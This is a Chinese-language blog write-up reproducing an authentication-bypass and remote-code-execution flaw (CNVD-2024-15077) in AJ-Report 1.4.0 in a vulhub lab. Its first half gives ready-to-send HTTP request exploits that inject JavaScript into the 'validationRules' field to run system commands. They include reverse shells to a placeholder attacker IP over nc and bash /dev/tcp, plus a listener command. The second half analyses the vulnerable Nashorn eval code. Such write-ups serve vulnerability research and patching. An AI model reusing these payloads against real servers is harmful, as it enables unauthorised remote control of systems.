AJ-Report(CNVD-2024-15077)漏洞复现(超详细)

2024-09-11 19:59:12 浏览数 (1)

AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。

漏洞复现

漏洞环境 vulhub

执行如下命令启动一个AJ-Report 1.4.0服务器:

代码语言:javascript复制
docker compose up -d

服务启动后,你可以在http://your-ip:9095查看到登录页面。

poc

代码语言:javascript复制
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("id").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss =line};return ss;}"}

这里的任意命令是id

执行反弹shell

代码语言:javascript复制
"nc","攻击机IP","7777"
代码语言:javascript复制
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 372

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("nc","攻击机IP","7777").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss =line};return ss;}"}

反弹shell成功,但没有回显

执行反弹shell

代码语言:javascript复制
"bash","-c","bash -i >& /dev/tcp/攻击机IP/7777 0>&1"

poc

代码语言:javascript复制
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 406

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/攻击机IP/7777 0>&1").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss =line};return ss;}"}

kali监听

代码语言:javascript复制
 nc -lvnp 7777

漏洞分析

是一个标准的springboot项目,路由是/dataSetParam/verification

代码语言:javascript复制
aj-report-1.4.0.RELEASElibaj-report-1.4.0.RELEASE.jarcomanjiplustemplategaeabusinessmodulesdatasetparamcontrollerDataSetParamController.java

分析

代码语言:javascript复制
//使用 @Validated 注解进行参数验证,并使用 @RequestBody 注解将请求体中的 JSON 数据转换为 DataSetParamValidationParam 对象。
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
    // 创建一个新的 DataSetParamDto 对象
    DataSetParamDto dto = new DataSetParamDto(); //dto可以看成是pojo的升级版,其拥有验证数据的功能
    
    // 从传入参数 param 中获取 sampleItem 并设置到 dto 中
    dto.setSampleItem(param.getSampleItem());
    
    // 从传入参数 param 中获取 validationRules 并设置到 dto 中
    dto.setValidationRules(param.getValidationRules());
    
    // 调用 dataSetParamService 的 verification 方法进行验证,并将结果封装到 ResponseBean 中返回
    return this.responseSuccessWithData(this.dataSetParamService.verification(dto));
}

param接受的sampleItemvalidationRules传参,并将参数传递到dataSetParamService.verification(dto)

实现 verification 方法

代码语言:javascript复制
 
package com.anjiplus.template.gaea.business.modules.datasetparam.service.impl;

import com.anji.plus.gaea.curd.mapper.GaeaBaseMapper;
import com.anji.plus.gaea.exception.BusinessExceptionBuilder;
import com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto;
import com.anjiplus.template.gaea.business.modules.datasetparam.dao.DataSetParamMapper;
import com.anjiplus.template.gaea.business.modules.datasetparam.dao.entity.DataSetParam;
import com.anjiplus.template.gaea.business.modules.datasetparam.service.DataSetParamService;
import com.anjiplus.template.gaea.business.modules.datasetparam.util.ParamsResolverHelper;
import com.anjiplus.template.gaea.business.code.ResponseCode;
import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.script.Invocable;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
* @desc DataSetParam 数据集动态参数服务实现
* @author Raod
* @date 2021-03-18 12:12:33.108033200
**/
@Service
//@RequiredArgsConstructor
@Slf4j
public class DataSetParamServiceImpl implements DataSetParamService {

    private ScriptEngine engine;
    {
        ScriptEngineManager manager = new ScriptEngineManager();
        engine = manager.getEngineByName("JavaScript");
    }

    @Autowired
    private DataSetParamMapper dataSetParamMapper;

    @Override
    public GaeaBaseMapper<DataSetParam> getMapper() {
      return dataSetParamMapper;
    }

    /**
     * 参数替换
     *
     * @param contextData
     * @param dynSentence
     * @return
     */
    @Override
    public String transform(Map<String, Object> contextData, String dynSentence) {
        if (StringUtils.isBlank(dynSentence)) {
            return dynSentence;
        }
        if (dynSentence.contains("${")) {
            dynSentence = ParamsResolverHelper.resolveParams(contextData, dynSentence);
        }
        if (dynSentence.contains("${")) {
            throw BusinessExceptionBuilder.build(ResponseCode.INCOMPLETE_PARAMETER_REPLACEMENT_VALUES, dynSentence);
        }
        return dynSentence;
    }

    /**
     * 参数替换
     *
     * @param dataSetParamDtoList
     * @param dynSentence
     * @return
     */
    @Override
    public String transform(List<DataSetParamDto> dataSetParamDtoList, String dynSentence) {
        Map<String, Object> contextData = new HashMap<>();
        if (null == dataSetParamDtoList || dataSetParamDtoList.size() <= 0) {
            return dynSentence;
        }
        dataSetParamDtoList.forEach(dataSetParamDto -> {
            contextData.put(dataSetParamDto.getParamName(), dataSetParamDto.getSampleItem());
        });
        return transform(contextData, dynSentence);
    }

    /**
     * 参数校验  js脚本
     *
     * @param dataSetParamDto
     * @return
     */
    @Override
    public Object verification(DataSetParamDto dataSetParamDto) {

        String validationRules = dataSetParamDto.getValidationRules();
        if (StringUtils.isNotBlank(validationRules)) {
            try {
                engine.eval(validationRules);
                if(engine instanceof Invocable){
                    Invocable invocable = (Invocable) engine;
                    Object exec = invocable.invokeFunction("verification", dataSetParamDto);
                    ObjectMapper objectMapper = new ObjectMapper();
                    if (exec instanceof Boolean) {
                        return objectMapper.convertValue(exec, Boolean.class);
                    }else {
                        return objectMapper.convertValue(exec, String.class);
                    }

                }

            } catch (Exception ex) {
                throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());
            }

        }
        return true;
    }

    /**
     * 参数校验  js脚本
     *
     * @param dataSetParamDtoList
     * @return
     */
    @Override
    public boolean verification(List<DataSetParamDto> dataSetParamDtoList, Map<String, Object> contextData) {
        if (null == dataSetParamDtoList || dataSetParamDtoList.size() == 0) {
            return true;
        }

        for (DataSetParamDto dataSetParamDto : dataSetParamDtoList) {
            if (null != contextData) {
                String value = contextData.getOrDefault(dataSetParamDto.getParamName(), "").toString();
                dataSetParamDto.setSampleItem(value);
            }

            Object verification = verification(dataSetParamDto);
            if (verification instanceof Boolean) {
                if (!(Boolean) verification) {
                    return false;
                }
            }else {
                //将得到的值重新赋值给contextData
                if (null != contextData) {
                    contextData.put(dataSetParamDto.getParamName(), verification);
                }
                dataSetParamDto.setSampleItem(verification.toString());
            }

        }
        return true;
    }

}


分析

代码语言:javascript复制
public Object verification(DataSetParamDto dataSetParamDto) { // 方法接收一个 DataSetParamDto 对象并返回一个 Object
    String validationRules = dataSetParamDto.getValidationRules(); // 获取 dataSetParamDto 中的 validationRules
    if (StringUtils.isNotBlank(validationRules)) { // 检查 validationRules 是否不为空
        try {
            this.engine.eval(validationRules); // 使用脚本引擎执行 validationRules
            if (this.engine instanceof Invocable) { // 检查脚本引擎是否实现了 Invocable 接口
                Invocable invocable = (Invocable) this.engine; // 将脚本引擎转换为 Invocable
                Object exec = invocable.invokeFunction("verification", new Object[]{dataSetParamDto}); // 调用脚本中的 verification 函数,并传入 dataSetParamDto 作为参数
                ObjectMapper objectMapper = new ObjectMapper(); // 创建 ObjectMapper 对象用于类型转换
                if (exec instanceof Boolean) { // 如果 exec 是 Boolean 类型
                    return objectMapper.convertValue(exec, Boolean.class); // 将 exec 转换为 Boolean 类型并返回
                }
                return objectMapper.convertValue(exec, String.class); // 将 exec 转换为 String 类型并返回
            }
        } catch (Exception var6) { // 捕获异常
            throw BusinessExceptionBuilder.build("4005", new Object[]{var6.getMessage()}); // 抛出业务异常,包含错误信息
        }
    }
    return true; // 如果 validationRules 为空,返回 true
}

查看this.engine.eval(validationRules),

ScriptEngineManager 获取名为 "JavaScript" 的脚本引擎,"JavaScript" 引擎指的是 Nashorn 引擎。Nashorn 支持 JavaScript 与 Java 之间的互操作性,允许JavaScript代码调用Java类和方法

engine.eval(validationRules): 这行代码使用了一个 engineScriptEngine 的一个实例,来执行传入的 validationRules 字符串,即执行一段 JavaScript 代码,如果传递给 eval 方法的脚本来自不受信任的来源,攻击者可以编写恶意脚本执行任意Java代码

根据 exec 的类型,使用 ObjectMapper 将其转换成相应的 Java 类型,并返回结果。

0 人点赞